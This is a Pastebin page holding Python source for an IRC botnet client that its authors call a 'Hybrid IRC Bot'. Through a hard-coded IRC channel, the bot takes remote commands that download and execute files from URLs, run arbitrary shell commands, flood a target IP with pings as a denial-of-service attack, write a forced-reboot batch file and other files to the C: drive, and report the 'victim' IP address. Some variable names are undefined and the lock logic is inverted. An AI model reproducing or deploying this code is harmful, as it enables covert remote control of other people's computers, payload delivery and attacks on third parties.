Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ######################################################################################################
- #Programmers: Pyro & Rattertouille
- #Program: Hybrid IRC Bot
- #Date: 14 August 2010
- #Version: 1.0 Alpha
- #
- #Notes:
- #This is a hybrid of two IRC bots, one from Rattertouille and another from Pyro
- #This joint operation between Pyro & Rattertouille hopes to achieve optimium quality by choosing the
- #best from wither bot
- ######################################################################################################
- import os
- import random
- import shutil
- import socket
- import sys
- import time
- import urllib
- network = 'irc.wyldryde.org'
- port = 6667
- channel = '#pythontest'
- username = 'TeamBot_' + str(random.randint(0,1000000))
- password = 'asusdvd'
- locked = 1
- def os_version():
- def get_registry_value(key, subkey, value):
- import _winreg
- key = getattr(_winreg, key)
- handle = _winreg.OpenKey(key, subkey)
- (value, type) = _winreg.QueryValueEx(handle, value)
- return value
- def get(key):
- return get_registry_value('HKEY_LOCAL_MACHINE', 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion',key)
- os = get('ProductName')
- sp = get('CSDVersion')
- build = get('CurrentBuildNumber')
- return '%s %s (build %s)' % (os, sp, build)
- def download(url, filepath):
- pagehandler = urllib.urlopen(url)
- outputfile = open(filepath, 'wb')
- while True:
- data = pagehandler.read(512)
- if not data:
- break
- outputfile.write(data)
- outputfile.close()
- pagehandler.close()
- irc = socket.socket()
- irc.connect((network, port))
- irc.send('nick ' + username + '\r\n')
- irc.send('user Joint Venture Bot :Rattertouille & Pyro\r\n')
- irc.send('join ' + channel + '\r\n')
- irc.send('privmsg ' + channel + ':Connection established\r\n')
- irc.send('privmsg ' + channel + ':Bot belongs to Pyro & Rattertouille\r\n')
- while True:
- data = irc.recv(4096)
- if data.find('PING') != -1:
- irc.send('PONG ' + data.split() [ 1 ] + '\r\n') #Responds to pings from the server
- print data
- elif data.find ('* ' + username + ' :Nickname is already in use.') != -1: #Checks if username is taken
- irc.send ('quit\r\n')
- irc.close
- username = 'DxBot_' + str(random.randint(0,1000000))
- irc.send('nick ' + username + '\r\n')
- irc.send('user Joint Venture Bot :Rattertouille & Pyro\r\n')
- irc.send('join ' + channel + '\r\n')
- irc.send('privmsg ' + channel + ':Connection established\r\n')
- irc.send('privmsg ' + channel + ':Bot belongs to Pyro & Rattertouille\r\n')
- elif data.find ('--bot') != -1:
- if locked == 0:
- irc.send('privmsg ' + channel + ' :Command ,--, found\r\n')
- time.sleep(1)
- if data.find('copy') != -1: #Copy command
- locfrom = data.split('-from ')[1]
- locworking = data.split(' -from')[0]
- locto = data.split('-to ')[1]
- shutil.copy2(locfrom, locto)
- irc.send('privmsg ' + channel + ' :Copy completed, ' + locfrom + ' copied to ' + locto + '\r\n')
- elif data.find ('download') != -1: #Download command
- dldata = data.split('-- download ')[1].split(' , ')
- dldata[2] = dldata[2][:len(dldata[2]) - 2]
- download(dldata[0].translate(None, '\''),dldata[1].translate(None, '\''))
- if int(dldata[2]) == 1:
- irc.send ('privmsg ' + chan + ' :Download finished and executed\r\n')
- os.popen(dldata[1])
- else:
- irc.send ('privmsg ' + chan + ' :Download finished, not executed\r\n')
- elif data.find ('respond') != -1: #Respond command, makes sure bot is active (possibly an auto logoff/restart if not?)
- irc.send('privmsg ' + channel + ' :The bot is activly transmitting data\r\n')
- elif data.find ('leave') != -1: #Exit command
- irc.send('privmsg ' + channel + ' :Now exiting\r\n')
- irc.send('quit\r\n')
- irc.close
- elif data.find('send msg') != -1: #Message command
- chanworking = data.split(' -msg')[0]
- channelsend = chanworking.split('-chan ')[1]
- irc.send('join ' + channelsend + '\r\n')
- irc.send('privmsg ' + channelsend + ' :' + data.split('-msg ') [1] + '/r/n')
- elif data.find('dos') != -1: #DoS attack command
- dos = data.split(' -IP')[0]
- rangelimitdos = int(dos.split('-limit ')[1])
- for i in range(1, rangelimitdos):
- os.system('ping ' + data.split('-IP ')[1])
- elif data.find ('execute') != -1: #Execute command
- os.popen(data.split('-execute ')[1]);
- elif data.find('bin') != -1: #File creation family
- if data.find('preset1') != -1: #Makes a force reset batch
- filelocation = open('C:\Pre1.bat', 'w')
- filelocation.write('shutdown -r -f')
- filelocation.close()
- elif data.split('-bin')[0].find('custom') != -1:#Makes a file
- batphrase = data.split('-bin ')[1]
- loopstring = batphrase.split(' -limit')[0]
- aphrase = batphrase.split('-limit ')[1]
- extension = aphrase.split(' -ext')[0]
- bphrase = aphrase.split('-ext ')[1]
- name = bphrase.split(' -name')[0]
- working = bphrase.split('name ')[1]
- looplimit = int(loopstring)
- irc.send('privmsg ' + channel + ' :Preparing to create\r\n')
- filelocation = open('C:\Bot' + name + extension, 'w')
- for i in range(1, looplimit + 1):
- filelocation.write(working.split(' -eol ')[i] + '\n')
- filelocation.close()
- elif data.find('return ip') != -1: #Returns IP addresses
- victimip = socket.gethostbyname_ex(socket.gethostname())[2][1]
- irc.send('privmsg ' + channel + ' : IP address - ' + victimip + '\r\n')
- elif data.find('lock ' + password): #Relocks bot
- locked = 0
- else:
- irc.send ('privmsg ' + channet + ' :Unrecognised command\r\n')
- elif data.find ('unlock ' + password) != -1:
- locked = 0
- irc.send ('privmsg ' + channel + ' :' + nick + ' Unlocked, Rasta Rattertouille & Pyro mainiac\r\n')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement